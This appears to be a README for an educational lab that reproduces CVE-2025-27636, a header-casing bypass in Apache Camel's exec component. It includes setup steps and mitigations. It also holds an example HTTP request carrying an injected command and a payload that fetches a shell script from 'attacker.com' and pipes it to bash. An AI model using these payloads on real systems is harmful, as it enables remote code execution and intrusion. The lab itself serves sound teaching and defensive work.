🛡️ CVE-2025-27636 — Practical Exploitation Lab for Apache Camel

🔍 Overview

CVE-2025-27636 is a critical Remote Code Execution (RCE) vulnerability in Apache Camel, specifically in the camel-exec component. It stems from a subtle but dangerous issue:

The DefaultHeaderFilterStrategy performs case-sensitive checks on header names, which can be bypassed using alternate casing.

This means internal Camel headers—such as CamelExecCommandExecutable—that should be blocked can slip through if their casing is manipulated (e.g., cAmeLexecCommandExecutable).

When this header reaches the exec: endpoint, an attacker can inject arbitrary commands, leading to full system compromise.

📌 Technical Background

✅ DefaultHeaderFilterStrategy

Apache Camel’s DefaultHeaderFilterStrategy is intended to protect internal headers like:

• CamelHttp*
• CamelFile*
• CamelExecCommandExecutable ← 🚨 vulnerable if casing bypasses the filter

🔍 What Does "Internal" Mean? Internal headers are:

Prefixed with Camel*

Used only within Camel to control behavior (routing, processing, endpoints)

Not intended to be exposed to external systems like HTTP, JMS, etc.

However, prior to the patch, this filter matched header names case-sensitively, which violates the HTTP spec (where headers are case-insensitive) and allows bypasses such as:

GET /systeminfo HTTP/1.1
Host: target-ip:8484
cAmeLexecCommandExecutable: /bin/bash -c "touch /tmp/pwned"

This header would be passed through to the exec: component, which then executes the payload.

🛠️ CamelExecCommandExecutable

This header tells the camel-exec component which command to run. It’s powerful—and extremely dangerous—if user-controllable, especially in environments that support OS-level commands (e.g., bash, cmd.exe, etc.).

🧪 Hands-On Lab: Pinewood Server Diagnostic

Project: Pinewood Server Diagnostic Author: @enochgitgamefied Goal: Reproduce CVE-2025-27636 in a live, educational lab.

🔗 GitHub Repository

👉 https://github.com/enochgitgamefied/CVE-2025-27636-Pratctical-Lab

📁 Project Overview

• Built with Apache Camel 4.10.0

• Routes:

  • /tasks → Lists tasks using exec:tasklist or exec:ps
  • /systeminfo → Outputs OS info (systeminfo or uname -a)
  • /network → Shows ipconfig or ifconfig

• Web UI served on / using embedded Jetty

• Vulnerable to modified-case header injection if filtering is not patched

⚙️ Getting Started

# Clone the repository
git clone https://github.com/enochgitgamefied/CVE-2025-27636-Pratctical-Lab.git
cd CVE-2025-27636-Pratctical-Lab

# Package the app
mvn clean package

# Run it
java -jar target/hello-camel-1.0-SNAPSHOT.jar

Then visit in your browser:

🖥️ http://<your-ip>:8484

🚨 Demonstrating the Vulnerability

Unpatched behavior:

If you send a header like this (notice casing):

cAmeLexecCommandExecutable: whoami

The filter doesn't block it, and it gets passed to the exec: endpoint. You can demonstrate:

• whoami
• uname -a
• bash -c "curl http://attacker.com/shell.sh | bash" ← dangerous

🎥 YouTube Demo

A complete demonstration is being prepared and will be uploaded soon. It will walk through:

• Application setup
• Header injection
• Command execution
• Remediation steps

Demo Link on Youtube https://www.youtube.com/watch?v=z4Xf9LYXc9o&t=714s!

🛡️ Mitigation & Fix

1. Upgrade Apache Camel to a version with case-insensitive header filtering (this is patched).
2. Use a custom HeaderFilterStrategy if you must enforce stricter logic.
3. Do not expose exec: routes directly to HTTP unless fully locked down.

🧠 Key Takeaways

• Internal headers must never be controllable by external users.
• Case sensitivity in security filters is a well-known anti-pattern.
• Apache Camel is powerful, but with that power comes responsibility—especially when chaining HTTP to exec.

⚠️ Disclaimer

This lab is designed for educational and controlled lab purposes only. Never attempt this on unauthorized systems or networks.